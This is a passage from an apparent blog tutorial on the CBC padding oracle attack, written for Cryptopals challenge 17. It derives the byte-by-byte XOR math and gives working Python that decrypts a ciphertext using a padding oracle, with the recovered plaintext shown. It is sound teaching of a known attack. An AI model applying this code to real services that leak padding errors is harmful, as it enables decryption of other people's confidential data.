&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dec_cbc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# do not use cfg.iv ;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="cbc-decryption-and-padding"&gt;CBC decryption and padding&lt;/h2&gt;
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0id2lkdGg6IDYwJTsiIGNsYXNzPSdmdWxsd2lkdGgnIGFsaWduPSdtaWRkbGUnIGRhdGE9Jy9pbWcvbWF0YXNhbm8vY2JjX3BhZGRpbmdfb3JhY2xlX3hvci5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PgptYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0id2lkdGg6IDYwJTsiIGNsYXNzPSdmdWxsd2lkdGgnIGFsaWduPSdtaWRkbGUnIGRhdGE9Jy9pbWcvbWF0YXNhbm8vY2JjX3BhZGRpbmdfb3JhY2xlX3hvci5zdmcnIHR5cGU9J2ltYWdlL3N2Zyt4bWwnPjwvb2JqZWN0PgptYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="width: 60%;" class='fullwidth' align='middle' data='/img/matasano/cbc_padding_oracle_xor.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s be \(m\) the ith plaintext block, \(c\) the i-1th ciphertext block and \(x\) the decryption of the ith ciphertext block.&lt;/p&gt;
&lt;p&gt;Then, we can say that for CBC the plaintext block \(m\) is reconstructed from this:&lt;/p&gt;
$$x \oplus c = m$$
&lt;p&gt;&lt;label for='PG9iamVjdCBzdHlsZT0id2lkdGg6IDkwJTsiIGNsYXNzPSdmdWxsd2lkdGgnIGFsaWduPSdtaWRkbGUnIGRhdGE9Jy9pbWcvbWF0YXNhbm8vY2JjX3BhZGRpbmdfb3JhY2xlX3BhdGNoZWQuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PG9iamVjdCBzdHlsZT0id2lkdGg6IDkwJTsiIGNsYXNzPSdmdWxsd2lkdGgnIGFsaWduPSdtaWRkbGUnIGRhdGE9Jy9pbWcvbWF0YXNhbm8vY2JjX3BhZGRpbmdfb3JhY2xlX3BhdGNoZWQuc3ZnJyB0eXBlPSdpbWFnZS9zdmcreG1sJz48L29iamVjdD4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;object style="width: 90%;" class='fullwidth' align='middle' data='/img/matasano/cbc_padding_oracle_patched.svg' type='image/svg+xml'&gt;&lt;/object&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s say now that instead of \(c\) we use \(c'\), a &lt;em&gt;forged&lt;/em&gt; ciphertext block, if we are reconstructing the last plaintext block, this one will be:&lt;/p&gt;
$$x \oplus c' = ?$$
&lt;p&gt;Now, because this is the last block, this will affect the padding of the final plaintext.&lt;/p&gt;
&lt;p&gt;The padding will be ok &lt;strong&gt;only if&lt;/strong&gt; \(x \oplus c'\) is equals to one of these:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    [?  ?  ?  ... ?  ?  01]
    [?  ?  ?  ... ?  02 02]
    [?  ?  ?  ... 03 03 03]
    [?  0f 0f ... 0f 0f 0f]
    [10 10 10 ... 10 10 10]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given this fact and using a &lt;em&gt;padding oracle&lt;/em&gt; we can break CBC one byte at time.&lt;/p&gt;
&lt;h2 id="guess-the-last-byte"&gt;Guess the last byte&lt;/h2&gt;
&lt;p&gt;For the plaintext block \(m\), let’s be \(m_1\), the last byte of the block.&lt;/p&gt;
&lt;p&gt;Using the same convention, this last byte is&lt;/p&gt;
$$x_1 \oplus c_1 = m_1$$
&lt;p&gt;If instead of \(c_1\) we use a forged last byte \(c'_1\), the decrypted byte will be&lt;/p&gt;
$$x_1 \oplus c'_1 = ?$$
&lt;p&gt;The decrypted message will have a valid padding only if:&lt;/p&gt;
$$\begin{cases}
x_1 \oplus c'_1 = 01 &amp; (1)\\
x_1 \oplus c'_1 = pp &amp; (2)
\end{cases}$$
&lt;p&gt;The case 2 means that \(x_1 \oplus c'_1\) is equal to the original padding byte and this will happen only if \(c'_1 = c_1\) or in other words if we didn’t forge anything.&lt;/p&gt;
&lt;p&gt;It doesn’t add much info.&lt;/p&gt;
&lt;p&gt;The case 1 is more juicy as this is the other case with a valid padding and, by definition, it must be &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then,&lt;/p&gt;
$$\begin{align*}
x_1 \oplus c'_1 &amp; = 01                           \\
           x_1 &amp; = 01 \oplus c'_1
\end{align*}$$
&lt;p&gt;So we &lt;em&gt;learnt&lt;/em&gt; \(x_1\) and from here it is trivial to break the last plaintext byte:&lt;/p&gt;
$$\begin{align*}
                x_1 \oplus c_1 &amp; = m_1          \\
    (01 \oplus c'_1) \oplus c_1 &amp; = m_1
\end{align*}$$
&lt;p&gt;as \(c'_1\) is our forged byte and \(c_1\) is the last byte of the previous ciphertext block, all of them known by us.&lt;/p&gt;
&lt;p&gt;The case 1 and 2 are easily identified as in the second case \(c'_1 = c_1\).&lt;/p&gt;
&lt;p&gt;There is, however, a special situation in which the case 1 and 2 are the same: this happens when the original padding byte is actually &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Nevertheless, the equation \((01 \oplus c'_1) \oplus c_1 = m_1\) is still true.&lt;/p&gt;
&lt;h2 id="guess-the-penultimate-byte"&gt;Guess the penultimate byte&lt;/h2&gt;
&lt;p&gt;Knowing \(x_1\) we can forge the value of \(m_1\) to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
$$\begin{align*}
      x_1 \oplus c'_1 &amp; = 02                     \\
                 c'_1 &amp; = (02 \oplus x_1)
\end{align*}$$
&lt;p&gt;This \(c'_1\) is &lt;strong&gt;not&lt;/strong&gt; the same than the previous section: it is a different forged byte used to forge a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the last value of the plaintext.&lt;/p&gt;
&lt;p&gt;With this, the penultimate byte will forge a plaintext with a &lt;em&gt;valid padding&lt;/em&gt; only if:&lt;/p&gt;
$$x_2 \oplus c'_2 = 02$$
&lt;p&gt;Then, for the case of a valid padding we can guess \(x_2\) and therefore \(m_2\):&lt;/p&gt;
$$\begin{align*}
      x_2 \oplus c'_2 &amp; = 02                     \\
                 x_2 &amp; = (02 \oplus c'_2)
\end{align*}$$
$$\begin{align*}
                   x_2 \oplus c_2 &amp; = m_2                     \\
      (02 \oplus c'_2) \oplus c_2  &amp; = m_2
\end{align*}$$
&lt;p&gt;At difference with guessing the last byte, in this scenario there is only one possible value for a valid padding: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="guessing-the-rest-of-the-bytes-in-a-block"&gt;Guessing the rest of the bytes in a block&lt;/h2&gt;
&lt;p&gt;Now we just repeat.&lt;/p&gt;
&lt;p&gt;Break the last byte first, use that to forge the last byte in the plaintext to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and break the penultimate byte.&lt;/p&gt;
&lt;p&gt;Then use those two to forge the last two bytes of the plaintext to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;02&lt;/span&gt; &lt;span class="mi"&gt;02&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and break the third.&lt;/p&gt;
&lt;p&gt;And so on till you break the whole block&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;break_cbc_last_block&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;oracle&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;prev_cblock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;mutable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="n"&gt;prev_cblock&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;prev_cblock&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;padn&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;posfix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;padn&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# forge the penultimate ciphertext block&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;posfix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mutable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;prev_cblock&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="c1"&gt;# update the forged byte&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;forged_ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;good&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;oracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forged_ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;good&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;padn&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                 &lt;span class="k"&gt;break&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;prev_cblock&lt;/span&gt;   &lt;span class="c1"&gt;# restore backup&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;^=&lt;/span&gt; &lt;span class="n"&gt;prev_cblock&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;    &lt;span class="c1"&gt;# plain text block&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;MDAwMDAwTm93IHRoYXQgdGhlIHBhcnR5IGlzIGp1bXBpbmc=&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;enc_cbc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;break_cbc_last_block&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decrypt_and_unpad_oracle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;ing&lt;/span&gt;&lt;span class="se"&gt;\r\r\r\r\r\r\r\r\r\r\r\r\r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="break-cbc"&gt;Break CBC&lt;/h2&gt;
&lt;p&gt;Now we just need to repeat the whole thing again for each block: once we break the last block we remove it from the ciphertext and we repeat the attack to until all the ciphertext blocks are decrypted.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;break_cbc_last_block&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decrypt_and_unpad_oracle&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reverse&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;decripted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pkcs#7&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;decripted&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;000000Now that the party is jumping&amp;#39;&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;decripted&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This attack is implemented in &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt;. Here is a set of different ciphertexts to break.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoaXMgdW5sb2NrcyB0aGUKW1RoZSBDQkMgcGFkZGluZyBvcmFjbGVdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8zL2NoYWxsZW5nZXMvMTcpCmNoYWxsZW5nZS4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoaXMgdW5sb2NrcyB0aGUKW1RoZSBDQkMgcGFkZGluZyBvcmFjbGVdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8zL2NoYWxsZW5nZXMvMTcpCmNoYWxsZW5nZS4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
This unlocks the &lt;a href="https://cryptopals.com/sets/3/challenges/17"&gt;The CBC padding oracle&lt;/a&gt; challenge.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Enjoy!&lt;/p&gt;
